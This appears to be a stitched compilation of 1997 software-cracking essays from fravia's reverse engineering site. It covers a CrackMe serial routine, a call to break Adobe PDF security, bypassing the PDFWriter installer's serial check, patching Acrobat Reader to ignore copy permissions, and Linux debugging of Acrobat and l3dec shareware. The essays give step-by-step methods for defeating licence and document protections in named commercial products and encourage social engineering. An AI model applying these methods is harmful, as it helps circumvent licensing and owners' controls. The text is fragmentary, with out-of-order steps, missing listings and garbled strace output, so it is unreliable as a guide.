6. Subtract 6 from the number. 122504,3 - 6 ==> 122498,3
1. Take the AscII values of the key, beginning with the last one and stopping one before the first
character. ==> 57
2. Use the Cosine function on the AscII value ==> 0,89986682...
6786789 1836
6786789 1137
6786789 269
6786789 417
6786789 528
6786789 14
For x = 1 To (Len(CodeText) - 1)
Now, after the CrackMe has calculated the final result of the Serial generated by the entered Code, it
calculates the final result of the Number generated by the entered Name:
ResultName = 37219
ResultName = 37219 / 1000
ResultName = 37
Final Notes
If I made mistakes and explained things wrongly then please mail me and I will correct my mistakes.
(Feel free to correct it yourself and send me the new version :-) )You can also mail me if there is
anything you are not clear about. Any comment is appreciated. Don't hesitate to send your remarks to:
CyberBlade@gmx.net
GREETS FLY OUT TO: --==[ ACiD BuRN, AfKayAs, Bjanes, DnNuke, Eternal Bliss, Fisch, Gizmo,
Joseph, MiZ, St0rmer, Torn@do, Tusk, Vladimir, Volatility, ^The Uplifter^ and The uncle ]==--
Sorry, if I forgot someone : (
You are deep inside fravia's page of reverse engineering, choose your way out:
"I recommend fravia because it's the best science can do to save your programming capacities"
Rocco, personal programmer of the Late THOMAS A. EDISON.
Once you notice symptoms of TOO MUCH CODE in your applications, itchy APIs, excessive messiness
or overbloatedness of your code...
ACT IMMEDIATELY!
Beware of too much code in your apps... it is a dangerous symptom!
Programming tone gone? DISCOURAGED? A subclinical deficiency may exist in your code or blood.
Science has the answer for BOTH!
Once you are programming with a Micro$oft's language it's TOO LATE! And nothing can help you, not
even FRAVIA!
So don't delay, delay may cost you your programming skills! Fravia keeps your sick programming style
free of itchy APIs, routines seborrhea, and stops the cocde overbloating that they cause.
Leading crackers feel that in killing these germs you rid yourself of the terrible programming
impoverishments that result in OVERBLOATEDNESS!
Fravia has been extremely successful with 'difficult' programming and code conditions! So restful is the
new and specially 1998 improved amazing FRAVIA formula, that you'll grow a more Virile
CRACKER-PROGRAMMER attitudes in 30 days or you return the unused essays from fravia's site and
your money will be refunded!
Fravia is an exclusive, laboratory-created, formula. Used by Rocco, cracker of the Late Thomas A.
Edison.
------
GUARANTEE
If the Fravia code formula isn't better than any site or treatment
you have ever found or had, and if you don't grow a more Virile
CRACKER-PROGRAMMER attitude in 30 days, if it doesn't do for you what
it has done for others, if you are not delighted with it, return the
essays and your money will be refunded in full.
SEND NO MONEY!
Fravia+ at http://fravia.org
Please rush me the fravia's essays treatment (90 days supply) in plain wrapper. I must be 100% satisfied
with the result of this treatment and I must grow a more Virile CRACKER-PROGRAMMER attitude in
30 days, or my money will be refunded upon return of the unused essays. I am and will be the sole judge.
Name....
Address...
City...
State...
-I understand that if I am not delighted with the new and improved Fravia code formula I can return the
unused essays after 10 days for full purchase price refund)
(c) fravia+ (msre) All rights reversed
You are deep inside fravia's page of reverse engineering, choose your way out:
by +ORC
(29 October 1997)
status later on. Or does anyone of you think that he could get teached in
some other 'real world' university 'trend' courses that what he is
learning here?.
Anyway I felt that it was pretty important to use in this context the only
scalpel I know of, since software and Internet are indeed a knowledge vector.
This scalpel of mine is (you have guessed it :=) a cracking attitude.
When I started the +HCU project, inside my "C" lessons, in April 1996, I
basically wanted to find some help: i.e. someone else capable of disclosing
our art, some fellow crackers capable of carrying on and ameliorate the
kind of work I was trying to do.
The "Instant Access" strainer was -alas!- much too hard for the "scene"
knowledge of that time (I believe that now many of you would crack that
crap much more easily). And I got very few answers. My luck was that I
have found very good students among those few.
Unfortunately in the last two semesters I was taken by other projects
(which have much more to do with 'history cracking' than with software
cracking as +gthorne knows :=) and I did not have the time to follow my
very good (and few) students.
Yet their work nonetheless (or may be for this very reason :=) went
beyond all my expectancies: fravia+ and +gthorne, with the help of +Sync,
did develop something that surpasses by far, for contents and available
free knowledge, anything I had ever seen on the net before.
A real "Academy" (as fravia+ has called it) of software deprotection
that serves already now as comprehensive reference for all 'protectionists'
and de-protectionists alike (and you should hear the deference and
admiration that has been expressed by some 'very high' software bonzes
for many of the essays that have been published there :=)
The "Microsoft" strainer of April 1997 inside my lesson 4.2 found a much
greater audience. Potius sero, quam nunquam. Inside our 1998 +HCU courses
we will have a dozen of students, clearly too many to be followed and tutored
as they deserve by me alone.
I will therefore create once more various 'units', but this time I'll
try to place inside each one of them some experienced crackers together
with some less experienced ones. each unit will be targeted towards some
specific project (yet of course anyone will be able to swap courses if
he likes so).
Next year we will therefore have a REAL university (or at least the
beginning of it). It will of course be completely free, for anybody that
has deserved it through is work.
I'll personally invite some "famous" crackers (friends of mine) to give
you "ad hoc" (or ad personam) specific courses... and during our 1998
academic year we will meet (figuratively speaking :=) some eminent "hacker"
personality too.
The "real" universities of yesterday have also been a cosmopolite meeting
point... people from many nations and languages and social situations have
brought there their personal contribution... this allowed formidable
progresses and an incredible evolution of the societies of those times.
Our society has come to an awful regression point. Useless nationalism
and petty provincial attitudes are rampant (even inside the 'real world'
universities :=( while at the same time few international commercial oligarchs
are dominating the whole world as if it where a conquered "Unicum".
Everything seems to be geared towards consume and money, as if the main
wish of humanity should consist in an 'hamster' life, hoarding useless
gadgets and munching them with full cheeks while loosing at the same time
more and more all the precious attributes that form the "quality of life".
Software will be used in that sense too: giving them more and more
VIRTUAL life quality and hiddenly stealing the last real bits of it.
ACROBAT FORMAT FILES security settings have not yet been cracked,
AFAIK, and therefore this makes the target a very nice (and very
interesting and very important) project to work on.
Acrobat format files are those *.pdf files in portable document
format that you can only read (yet not write) with the free Adobe
reader. The idea behind this being, as usual, common greed. If Adobe
had given to anybody reader and acrobat (writer) for free, this (very
good) format would have been by now the standard on the web.
Yet they just wanted to make money. Result: only few people are using
this. We'll change all this right now!
De nihilo, nihil:
You'll find some first info (and you'll be able to download reader) at
http://www.adobe.com/acrobat/
At the beginning of your work you'll quikly find out that there
is already a first (bad) attempt at cracking this format on the web.
Actually it is not a 'crack', but a programmer that wanted to port
acrobat to another platform (and had some problems with Adobe, of
course). You'll be able to download there some files specifications
that will spare you a lot of work.
You'll have to perform some social engineering as well, in order to
get the info you need: that is good, a good cracker IS a social engineer.
Work well
+ORC
Nachwort
by fravia+ (29 October 1997)
Well, I received this four hours ago from +ORC's hotmail identity (as usual the original ID that hotmail lets through when
you send from it is useless: some 'spare' one month trial AOL account that +he just fakes, uses and throws away :-) and I
decided to publish immediately. Indeed I seem to have (unvoluntarly) given him this whole idea: I wrote him that I had
received some (pretty good) tutorials by Ghiribizzo, yet these were in *.pdf protected format, and I did not wanted to
publish them as such. I told him that I had only Adobe Reader, and that i did not have Adobe Acrobat. His answer was
typical:
Well crack them nevertheless. You don't need Acrobat to crack that crap,
Reader is more than enough... and come to think of it, once you have
understood pdf, write a converter, that format would for sure look nice
for the essays... formositas dimidium dotis. Besides, having done it all
of your own will give you some more glory.
So I am very happy with this project, and I hope we all will succeed.
PDF-PROJECT
(Portable Document Format reversing, November 1997)
STARTING POINT
(Background Info: see +ORC email on newuni.htm)
As first contribution I'll give you here the very protected files that caused my original email to +ORC in
the first time. They are not only "target material" but "study material" as well, since these essays from
Ghiribizzo are interesting in themselves.
WORK IN PROGRESS
Here are the first interesting answers, a lot of people have immediatly started working on this, with
amazing results: I believe that you'll nowhere on the whole Web find -now- a page that has so many info
about acrobat's format. And I had almost no info to give on this three days ago!
Examining the messages I have got, I notice that some found this project relatively easy, some, on the
countrary, quite hard, many where happy to tackle this kind of targets. Globally I noticed that things
where somehow easier for all 'unix/linux buffs', somehow more difficult for DOS/Windoze's crackers. I'm
beginning to suspect that +ORC idea with this was to put unixers and windozers together on a common
project...
Well, I may add a short note of satisfaction: I published this "call for a project" three days ago and we
are ALREADY NOW more deep in this matters than (almost) anybody else on the Web! Not bad, is it?
Well, short and directly to the point, I added some info about Aerial code at the end
Hi,
I visited your site last night and saw the info on
cracking Acrobat and PDFs. I've been interested in this file format
for awhile now since it is such a versitile format. I would like to
suggest another aspect of PDF cracking, extracting embedded fonts.
Also,
I have discovered that as long as you can open a pdf, text extraction
is no problem, no matter what the security settings are. I extracted
ghiric7.pdf text without a hitch. The secret is a free plugin for
exchange from Ambia (www.ambia.com). It allows extracting the text
to RTF format, and will do so even if selecting, printing, modifying
etc are all pw protected, it doesnt matter, it still extracts it. It
is supposed to extract the pictures too, but I've found that it's
just not that good at it.
You must first run Exchange and laod a PDF, then activate the aerial
toolbar. Close the file and the toolbar stays active. Now even if
you load say gharic7.pdf, which makes the Acrobat toolbar disappear,
the Ambia plugin stays active, select Extract to RTF and the text is
yours. Oh yea the plugin is called Aerial.
JimBob
Some of you may like to know that inside Aerial there are some
And that 1Eh (0x1E) corresponds to Decimal 30, like 30 days... and yes, there
is also another protection scheme there, as stupid as this one.
You are deep inside fravia's page of reverse engineering, choose your way out:
Well, a nice contribution by zeezee, it's the 'lazy' way, yet it's interesting indeed, and can be useful for all those
following the 'harder' way...
The last +ORC idea to crack .pdf is pretty cool. I thought about it several
months ago, having a need to produce .pdf documents without Acrobat.
I'm too lazy to even think about writing a txt -> pdf converter myself.
First (and not so bad) idea was to go to Adobe site and look through.
Bingo! (say 'small bingo'). I found an update to PdfWriter for NT.
Seems that they have not released the correct PDFWriter on the Exchange
CD.
D/L it and tried to install. Wanted serial# to install.
1/2 hour reversing and it worked fine (I had lost my serial).
So, now I'm able to produce .pdf documents from, say, Word using PDFWriter
as one of the printers (exactly like Ghiribizzo does, see File/Doc Info/
General).
This should solve the "txt -> pdf converter" problem for all the lazy ones.
Download PDFWriter update from Adobe site, do some minor cracking, and
you're able to produce full-blown .pdf files.
------------------------------------------------------------------------------
Create PDF documents for free using Adobe PDF Writer
(for NT-ers only)
by zeezee
You know Acrobat Reader and .pdf documents. Everyone knows them.
You know how to create .pdf document? No? I - shortly - explain it.
You would then get Acrobat Distiller, which converts PostScript to PDF and
PDFWriter, which is a printer driver allowing making PDF documents from all
Windoze programs that can print. You simply print to PDF Writer and your PDF
document is ready.
Second, you can write a nice txt->pdf converter if you wish. Not-so-simple,
but interesting and formative work (+orc will thank you personally on his
new recyclable bits).
And, third: look for our target! Adobe is giving it for free on its web site!
Files needed:
- PWNT302.EXE (or maybe newer version) from adobe or mirror
- HIEW.EXE as usual.
The smart people at Adobe released NT version of Acrobat Exchange before the
final version of PDFWriter was released. So they released update version 3.02
on their web site. PWNT302.EXE it's the name and ca. 1.2M is the length.
But this version asks for our beloved serial# during setup and does not install
when it's not correct.
First I tried to disassemble setup program. It is compressed InstallShield
image using setup.ins as a compiled script file. I had no idea how to find
serial# screen.
So I tried to find other way. How to change the script (common to 80% of
installed software for '95 or NT) so that it skips this screen.
Steps marked '-' are essential, steps marked '*' are informational only.
which it definitely doesn't find. Now all depends on default behaviour when
DisplaySVAL key isn't found but - to our luck - it is good.
Close Notepad. You now know what to do.
- switch back to setup and close it. Files from temp will be deleted.
zeezee (zee_zee@hotmail.com)
You are deep inside fravia's page of reverse engineering, choose your way out:
The Quick starting notes have been snatched on 1 November 1997 and have been left
here because they may be useful as well, yet you'll find below the 'real' +Zer0+'s final
essay (12 November 1997)
Well, I have snatched this without Zer0+'s authorization, because I believe that it can be helpful for many
more people than he thought :-)
This was of course only a 'place holder' until Zer0+ sand his real essay ('pdf again')
I have started to work on the pdf crack +ORC asked us. I downloaded
http://www.adobe.com/supportservice/devrelations/PDFS/TN/PDFSPEC.PDF
file which is a detailed description of the pdf format, so not much
cracking on that. (Some of us might start to write the txt -> pdf
converter based on the specs.)
After reading the security specs I got the next preliminary
conclusions:
Whether the menubar, toolbar of the reader is present when you open
a document is not connected to the security, its controlled by
boolean variables HideMenuBar, HideToolBar in the Viewer Preferences
section of the file. You can change the true settings to false and
they appear when you open the file. Be careful though not to change
the lenght of the file when you change the text (you have enough space
there fortunatelly), because the file lenght is linked to the security
heavily.
because all text and picture data of the file (but not the file
itself) is encoded by the RSA algorithm using a key provided by
a hash function from a random file ID, the userkey, the permission
value etc. This means that if we change permission value the text
and data cannot be decoded correctly. (The reader complains of
corrupted file, tries to fix it etc.) Therefore, we must let the
program to decode the text with the original permission value
and patch the program to set itself up with a "let him do everything"
value later on.
I got all this info only by reading the specs and setting values in
the pdf files. Now I try to find the part of the program where he sets
itself up according to the permission value. BTW the acrobat reader
(being only a reader) does not allow modifying a document
independently of the permission value which means this restriction
is logically hard coded in it.
bye
Zer0+
pdf again
Well, +zer0+ has worked quite a lot on the pdf-project, and I find VERY interesting the comparison with
the recent essay by SiuL+Hacky on LINUX Acrobat reversing, that you can find here. I too believe that
the idea of writing a small utility to get the user and owner password of a pdf document, is a very good
one. As so often happens in life, excessive (and as we all know totally unjustified) belief in the strength of
software protections can be turned by any reverse engineer in a catastrophe for the very people that
wanted to protect themselves.
pdf again
by +Zer0
Here I send, as promised, a polished version of the Acrobat reader
patch which enables to select and copy parts of a document
independently of Adobe security settings.
I do not want to repeat here how the whole encryption is working
in a PDF document (you can find that in the PDF specs from
Adobe or understand it reading the many essays inside +HCU's
pdf-project), so I just point out the most important things.
Our main aim is to find the place of the program where the
permission value can be modified to let us do everything without
affecting the decryption of the document.
Now that we have this position we can see what the program
is doing with it. It takes the value at 442CB8 for generating
One last thing: the author of the pdf document can set
whether the menubar toolbar and windowUI is displayed
when a document is opened. This is controlled by the
HideToolBar, HideMenuBar and HideWindowUI flags in the
ViewerPreferences dictionary. We of course want to have
these goodies always on (which is the default value) so
can destroy the reference to these flags so the program
cannot recognise them. Therefore search these strings in
the reader exe file and change one letter in them. Now the
program cannot parse these settings in the PDF file 'correctly'
anymore so we always have the goodies on.
Zer0+
(c) Zer0+ 1997. All rights reserved
You are deep inside fravia's page of reverse engineering, choose your way out:
by SiuL+Hacky
Well, another VERY remarkable essay, that I am proud to present. SiuL+Hacky tackles here once more UNCOVERED ground,
and teaches all of you more elements of Linux reverse engineering... you may want to check his good first essay about Linux
reverse engineering... a bad omen of these commercial times... even Linux is getting more and more soiled by commercial
overbloated applications :-(
I.Introduction
---------------
In my first linux essay you could get an introduction on how to port our
windoze techniques to the linuz world. It was mainly dedicated to dead
approach, because it is really powerful for some kind of programs. But
sadly, as you'll see, huge and overbloated programs are getting into Linux
and if you want to reverse engineer your target you need some debugging
(unless you are a 'senior' mental cracker).
With this essay I'll try to introduce you the linux graphic environment,
XWindows (no kind of porno environment eh !). It may look like Windoze but
internally is very different in some aspects. The main difference is that it
uses the ubiquitous client-server scheme. Anyway, I don't have the time nor
the knowledge (+ hcu 1999 ?) to teach you thoroughly how it works, but
I'll show the starting point for cracking X applications. In linux you can
use several X servers, the most popular is XFree86 server but I hope that
any of them will do it.
Acrobat Reader. (I would like to see other people reverse engineer the
pdf-format).
Obviously here you'll find some X-specific tools. Most of the tools I told
you in my first essay apply for X-RE. Especially useful is gonna be DASM,
because, though we are gonna use the live approach, the assembler listing is
again invaluable. I repeat you that this will give the clues, but for a
better use of them, READ the manual pages of them.
* xwininfo -----------------------------------------------------------------
This utility gives you information about a specific window. By default it asks
to click on the target window you want to gather information. Be careful, and
don't think here about "window" in the Windoze way. When I click with the mouse
on a window, I'm clicking on the "physical" window, on the super-parent window
(called root window) if you want to put it that way. Each window (buttons for
instance are child windows) has an identifier. These are some useful switches:
- tree: Display all windows (root, parent and children) in a recursive way. It
displays the identifier (known as Drawables) , the size, position and show on.
Here is an example taken for Acrobat Reader:
Of course, the first hex number is the window identifier, that will be
especially useful for other, or even this, tool.
-id : with this option you don't need to click on a specific window but you
can gather information for any window in particular.
* xev ----------------------------------------------------------------------
This utility reports all the events involved with some window. Switches:
-id: If you don't give it an identifier, xev will display a test window,
where you can test mouse, keyboard and other kinds of event.
In some cases you may use this program for matching identifiers. For example
if run xev -id 0x2800148
But you don't know what window (child window) has this identifier! Just
move your mouse over the windows and you'll get messages just when
you'll be over the window you are looking for (BTW MotionNotify events).
* xxgdb --------------------------------------------------------------------
It is just the Xwindows front end for gdb. The only addition is a ButtonBar
with some useful commands. We'll see some useful commands while debugging
acrobat reader. I hope, in a future essay, to show some more friendly tools,
but as for now this is the most widespread and stable tool I know of.
This is a 400 pages PostScript document where you'll find a lot of information.
It's hard to find books about Xwindows programming, so if you know some
tutorial or some document useful for our purposes, send them to the +HCU to
be included in the next revision of this essay.
This does exist (there's a good document about it at fravia's pdf project
page), and you'll need it for testing Acrobat Reader. It is necessary to
get a fully unprotected document and test it against protected ones.
I converted text to pdf passing through a PostScript intermediate stage.
Have a look at the symbol table (with the name of the functions, inside and
outside the program. Very nice gift from the Adobe's guys), and what should
be a reverser bliss will be a cracker curse: MORE THAN 16000 functions (many
of them repeated) with names as amazing as :
DefaultAnnotHandlerNotifyAnnotAddedToSelection
_XmAllowAcceleratedInsensitiveUnmanagedMenuItems
_XmVirtKeys_siemensWx200FallbackBindingString
_XmVirtKeys_dblclkFallbackBindingString
I started writing down some name that could be interesting, then I started
skimming through and finally I scrolled them away. I am going to show you the
functions I saw suspicious. At the end of the essay you'll realise it could
have been very easy with a little Zen cracking, but I was not completely
lucky (and for once I didn't want to be lucky) and I used the methodical
approach that always saves you when your Zen is broken. Look at the
following names:
UnixMenubarInitialize
UnixMenuRemoved
UnixPageViewCancelToolButtons
UnixToolbarHide
AVCrypt
DecryptPerms0
DecryptPerms1
UnixDlgSecurityGetValues
UnixCryptGetPasswd
I had a look at the code of these functions, and thne I tested them with
the debugger, setting breakpoints and watching returned values. I got
nothing, so I just searched once more, this time for the string "Hide".
I wrote down these functions:
AVToolBarHide
AVMenuBarHide
UnixMenubarWidgetHide
Looking the code of the last one I was lucky, help yourself:
(of course, if we consider one parameter = one word length). Ok, let's have
a look at the caller (this function is called from 08062c64). Pay attention
to the parameters please:
And now what's up with the second part ? Specifically: 'copying text'.
As I told you, I was not so lucky. Firstly I tried to play the same
game, try and error, feel a little, look at suspicious functions... and
I got lost in the mare magnum of silly functions. I navigated over tons
of functions, and I was close to solve it, and you'll see that names are
indeed again pretty obvious, but until you grasp this target as a whole
you don't really realise what is going on.
I was confused always by X buffering, coz graphic events are not
implemented immediately, and 5 or 6 buttons from the toolbar
were painted all together at once.
After one day of useless testing I decided to act methodically, and after
starting from one obvious point, reach the code I was seeking. I just wanted
to locate where the button was disabled and then, from there, trace back:
Reverse Engineering as we have all learned it.
I studied some Xwindows API, and I got information about events.
For fixing the problem of graphic buffered events I read the main page
of X server:
Perfect, now I had to find the X call. I didn't find the function I was
looking for, so I decided to start from one solid function and then
test the calling tree until the target function was found.
This seemed to be a very solid function:
AVAppSelectLegalTool
How do I get this name ? Well, as I told you I looked for names about
ToolBar, one of the most suspicious is UnixToolBarUpdateButtonStates,
which is called from AVAppSelectLegalTool.
One tip that will be useful in X debugging: I found a bug (I don't know if it
is a gdb problem or X server problem or window manager prob) when you break the
program and is busy with certain graphic interface task, focus cannot be
successfully returned to xxgdb, and all X applications freezes. In that case you
just need to open a new virtual console and kill xxgdb process (and then
restart it). If you want to prevent this situation, you must break the program
in some previous "safe" instruction (probably inside another function) with no
focus-back problem. Then xxgdb will get the focus and when you restart execution
("cont" command) focus will not be back to acrobat (it will be in background)
and you can safely break inside that "dangerous code". I am telling you this
right now because the beginning of this function will be ok as a safe breakpoint
in our goal of finding out who shades and disables the text button.
0x806ccc0 AVAppSelectLegalTool
AVAppGetActiveDoc (1 parameter)
AvAppGetActiveTool
ToolIsEnabled (7 parameters)
AVAppGetDefaultTool
AVAppSetActiveTool (7 parameters)
AVAppGetToolBar
AVToolBarUpdateButtonStates
0x806cd19 end
Very cool names but nothing else. After some hours the only fact is that
buttons were updated (BTW for the first time if no protection, and if
protected, they were just "rewritten"; in that case, "clean" the window
covering it, or changing the desktop) in AVToolBarUpdateButtonStates. For
this searching task temporary breakpoints are really useful to use, you
know, use and throw away breakpoints.
For example writing this will do it:
(xxgdb)br *AVAppSelectLegalTool
(xxgdb)cont
... do something like load some pdf evil file. It will break
(xxgdb)tbr *AvAppGetActiveTool
(xxgdb)cont
... a temp. breakpoint is set. Now you can see what happen while
... AVAppGetActiveDoc is being executed. It breaks at AvAppGetActiveTool
(xxgdb)tbr *ToolIsEnabled
(xxgdb)cont
080bbf7 AVToolBarUpdateButtonStates
080bbfa0 call *%ebx
080bbfb3 call 08038ed8 <_init+2168>
or if you want
080bbf7 AVToolBarUpdateButtonStates
080bbfa0 call UnixEnumChildWidget
080bbfb3 call ASListEnum
Be sure that the first function makes what we are looking for. If you watch
the listing of that function it just makes an indirect call to a VERY
important function named SetStateEnumProc. Here is the code commented:
One call to SetStateEnumProc for each button. For the first time, we got
some 'action' (we still don't know which) for a particular button. I don't
like essays that carry a too heavy listing, so here is the schematic of the
function and I shall give you afterwards the needed details:
0805aec0 SetStateEnumProc
call XtVaGetValues
call AVToolButtonIsSeparator
call AVToolButtonIsEnabled
call XtSetSensitive
call XtIsSubclass
call AVToolButtonIsMarked
call XacroToolButtonSetMarked
end
Hence we are interested in the second parameter, that is pushed in the first
place. Some assembler details of the function:
Now you understand what I told you about zen and luck. If I would listen to
that function ... (actually I had played with it before, but acrobat was in
its asynchronous behaviour and I was confused, you know life is tough). So
this function is the judge that sort good and evil buttons. This is the
*hot* part of the function :
Don't worry this is not endless, we are close to the crack, but we must go to
this "academic" function StdComputeEnabledSelChange. BTW, you may see that
this function has one parameter. For any button but "text-button" the
parameter saved is 0, and for the evil button the parameter is 0x10. Now
you'll see how everything makes sense:
080baef0 StdComputeEnabledSelChange
And last but not least (don't forget the parameter of the first push):
We are at the end of our long way. The permission word for an unprotected
document is 0x7fff (rather curious :-).
some nops. If you are working with xxgdb I propose you patch quietly
AVDocGetPDDoc, and not only return the pointer but "initialise" permissions.
These are the commands:
For this particular crack I would like to thank Quine for his obstination.
Regards also to all +HCUkers and all other friends.
"Long is the way and hard, that out of Hell leads up to the light"
You are deep inside fravia's page of reverse engineering, choose your way out:
by SiuL+Hacky
Well, another VERY remarkable essay, that I am proud to present. SiuL+Hacky tackles here NEW UNCOVERED ground, and
teaches all of you the first elements of Linux reverse engineering... you would have tought, as I did, that such reversing would
have been useless, since the main characteristic of Linux (and of the whole GNU initiative) was to give freely the source code
of any program. Yet the deficiencies of Windoze are to-day so evident that more and more "commercial" programmers are
turning to Linux despite all efforts by Gate's lackeys. And if you say "commercial" you say of course limited egotistical
pusillanimous minds, that introduce their banal protection schemes even into the Linux world, until yesterday incontaminated.
Enjoy this GREAT essay/tutorial by SiuL+Hacky, let's hope that he will send us more essays on this subject!
BTW, you'll find inside here dasm: a disassembler for Linux *WRITTEN* by SiuL+Hacky himself!
I. Linux Introduction.
-------------------------
Probably all of you know about linux, but I don't know how many people
has linux installed in their computers. I have (as many people do)
both o.s. in different partitions of my hard-disk. Sometimes people
thinks of Operative Systems as religions (it use to happen also with
editors), so I'm not gonna tell you: INSTALL IT if you want your soul
to be saved ! If you are not sure, after reading this document, I
think you should know for sure what to do.
A friend of mine told some time ago a joke about Operative Systems
compared with Airlines. When you travel with Microsoft Airlines, you
may find beautiful women at the checking desk, you may enjoy amazing
entertaining shows before departure, when you climb in the aeroplane
it is really comfort and full of charming stewardesses. Ok, after
taking off the aeroplane explodes and nobody knows why. When
travelling with unix airlines you may travel safely, but passengers
must carry themselves the pieces of the aeroplane.
Unix is for you if you if you feel right working with DOS-boxes under
Windows, if you use to work with network environments, if you want
speed and safety back (your brand-new Pentium acts like a Pentium, not
like 386) and if you find lack of excitement configuring W95
programs. You may recover this bittersweet feeling of being in the
middle of a deserted island when things go wrong. But if you hate
command line programs with thousands of switches, unix is not for you.
Linux is cool for hacking, but I had never heard anything about
cracking in linux. As I told you, software is free and there's no
"bunch of shareware programmers". Imagine ... protecting a program and
giving you the source code, really nonsense.
But wait, Linux is not perfect, programs are not beautiful and
user-friendly. One of the problems I found from start with linux, is
multimedia. Multimedia is new in Dos/Windows world, so the old unix
dinosaur, that hasn't changed in the last twenty years (though if you
look inside "new" operative systems they are not that different) was
not supposed to have lot of multimedia support. I have a cheap
Soundblaster clone, and I cannot make it "cry" through my speakers. I
am not waiting for Dennis Ritchie saying "bye bye" when logging out,
but I like to "play" with sound algorithms and other stuff.
Here you'll find some tools that I have found or make myself, and will
make cracking easier. Mostly are "Windoze" brothers. First of all,
slight differences, mnemonics are named in a different way. I would
say it's even better (Sacrilegious !), but anyway you'll have no
problem getting these changes. You just have to be careful with
operands, especially in mov instructions, because they are reversed, I
mean:
GNU Compiler has its own debugger, it's called gdb and it has even a
front-end for X Windows. It is neither Softice nor DOS Debug, but it
is thought to work with the source code and executables with debug
information. You can debug a program with assembler instructions, but
is not comfortable. For example, you are not seeing the current
assembler instruction, nor registers. This do not pretend to be a
replace for the man page of gdb. There are lots of useful information
in books or INFO documents, but here you'll get some useful clues for
starting.
It has some features that you cannot find in Softice, for instance,
you can debug a program that is already running ! You may use the
"attach" command for it. Gdb runs in a virtual console, so may run
your favorite programs while debugging.
There's a wide range of breakpoints. You can set usual breakpoints "br
*address", clear them, disable them, use conditional breakpoints
(YES!), hardware breakpoints ...
2) STRACE
This is really a nice tool, especially for spying the program and its
behaviour. It logs every System Call made by a program, WITH
PARAMETERS and in a way you'll love it, as I'll show you afterwards. I
like to use it this way:
where OUTPUT_FILE is the file where you want the log to be dumped.
-i: appends the value of eip when the call was made. It seems like a
bliss, but be careful: LIBRARIES USE TO MAKE SYSTEM CALLS, not
programs.
3) STRINGS
grep Register *
and it'll show you all the files in the current directory containing
the string "Register". But the first field of this command is a
general PATTERN, so it may be an exact match or a match as complicated
as you want (learn REGULAR EXPRESSIONS for it).
4) HEX EDITORS
ftp://vieta.math.uni-sb.de/pub/misc/hexer-0.1.4c.tar.gz
Anyway, you may use, as I do, good Dos HEXEDITORS like Norton Diskedit
(version 4 or 5). I'm not kidding, a DOS emulator (DOSEMU) is
available in Linux, and works fine with real mode and DOS4GW programs.
There's a Windows emulator, but it is long ago in " an early alpha
stage ". Don't try it.
5) OBJDUMP
This program gives you the information and data of the different
sections (more about sections later) of a linux object (executable)
file. It is possible to get the assembler listing of a program you
have made (there's a switch in the compiler), but objdump is the only
program I found that disassemble an arbitrary executable. It also
gather information of the different "Sections" of the file. But the
problem, is that there's no analysis information in the disassembled
file. Some switches of objdump:
Download dasm.txt here! (If you want to save a web file and you don't know how, and all it does is display on the
screen, try to hold down the shift key when you click on it: it might solve your problem :-)
- The (DYNAMIC) SYMBOL TABLE is read and the elements are put into an
- In the same process, call instruction are processed and if they call
a function from the symbol table, it is also written.
* ELF HEADER
* PROGRAM TABLE HEADER
* SECTION 1
* ...
* SECTION N
* SECTION HEADER TABLE
typedef struct {
unsigned char e_ident[16];
Elf32_Half e_type;
Elf32_Half e_machine;
Elf32_Word e_version;
Elf32_Addr e_entry;
Elf32_Off e_phoff;
Elf32_Off e_shoff;
Elf32_Word e_flags;
Elf32_Half e_ehsize;
Elf32_Half e_phentsize;
Elf32_Half e_phnum;
Elf32_Half e_shentsize;
Elf32_Half e_shnum;
Elf32_Half e_shstrndx;
} Elf32_Ehdr;
For us, is important the member e_shoff, that keeps information about
the file offset of the Section Header Table. The SHT is an array of
Elf32_Shdr structures. The element e_shnum tells the number of entries
in the SHT, and e_shentsize gives the size in bytes of each entry.
This is the Elf32_Shdr:
typedef struct {
Elf32_Word sh_name;
Elf32_Word sh_type;
Elf32_Word sh_flags;
Elf32_Addr sh_addr;
Elf32_Off sh_offset;
Elf32_Word sh_size;
Elf32_Word sh_link;
Elf32_Word sh_info;
Elf32_Word sh_addralign;
Elf32_Word sh_entsize;
} Elf32_Shdr ;
The offset of each section is taken from each sh_offset member. The
name of each section is a little bit more complicated, because sh_name
is an index into the section header String Table Section. Well, stop,
I don't want you to get confused. Fortunately, objdump give us that
information. Strings are located in the .rodata Section (for obvious
reasons), and objdump gives the file offset of the section. If you
want complete information on ELF format, there's a PostScript document
for you:
ftp://tsx-11.mit.edu/pub/linux/packages/GCC/ELF.doc.tar.gz
There (or in any other mirror), you'll find a lot of interesting things.
Ok, then for string processing, dasm reads Section .rodata offset, and
get its content from the binary file. We get starting address and
size of .rodata section, so to make string processing:
The rest, is dirty details about format processing. The program calls
objdump, and you just have to use it this way:
I've tested it with several programs, but if you find any bug, problem
or you have any question, suggestion or whatever, report them to me
at:
lluisote@hotmail.com
NOTE: In dasm, I don't use the hex values of the instructions (switch
--show-raw-insn), because the output is not tabbed and it wastes disk
space. When we'll need this data, I'll show you how to get it easily.
For applying all this theory, we're gonna crack the couple of programs
I told you. I chose them because they are very different and
appropriate for beginning, you'll see. The first one is a disabled
program with password registration, the second one is a trial with 2
level of time protection and the same nasty behaviour of its windows
brothers.
1) ftp://ftp.fhg.de/pub/layer3/l3v270.linux.tar.gz
Let's have some fun with the new tools: "strace -oSalida l3dec" will
dump system calls in a file called Salida. Do it, answer that you
don't want to enter Reg.Cod., and get something like this (filtered by
me):
<<<<< Looking for a file named register.inf. Pretty suspicious. write(2, "|
L3DEC/L3ENC is sharew"..., 71)="71" write(2, "| if used for more t"..., 71)="71"
write(2, "| commercially (se"..., 71)="71" write(2, "| "..., 71)="71" write(2, "|
This program is"..., 71)="71" write(2, "| If you have alrea"..., 71)="71" write(2, "|
a registration cod"..., 71)="71" <<<<< Writing the nag message write(2, "| Do you
want to enter y"..., 65)="65" <<<<< Asking if registration code "If.class"
tppabs="http://fravia.org/If.class" you look for these strings (with the grep
command), you'll find them in both files l3enc and l3dec (of course encoder and
decoder). Ok, run dasm now, and discover the power of the dead approach. Search with
your favorite linux editor (descubre cual es el editor refleja tu personalidad) for
"Do you want to enter" and what you get: Possible reference to string: "| Please
enter your registration code: " 08058ca3 pushl $0x805ad7e; <<<< pushing string
08058ca8 pushl $0x8069640 Reference to function : fprintf 08058cad call 08048a58;
<<<<< printing 08058cb2 leal 0x170(%esp,1),%esi 08058cb9 pushl %esi Possible
reference to string: "%14s" 08058cba pushl $0x805ada6; <<< WAITING A 14 CHARS STRING
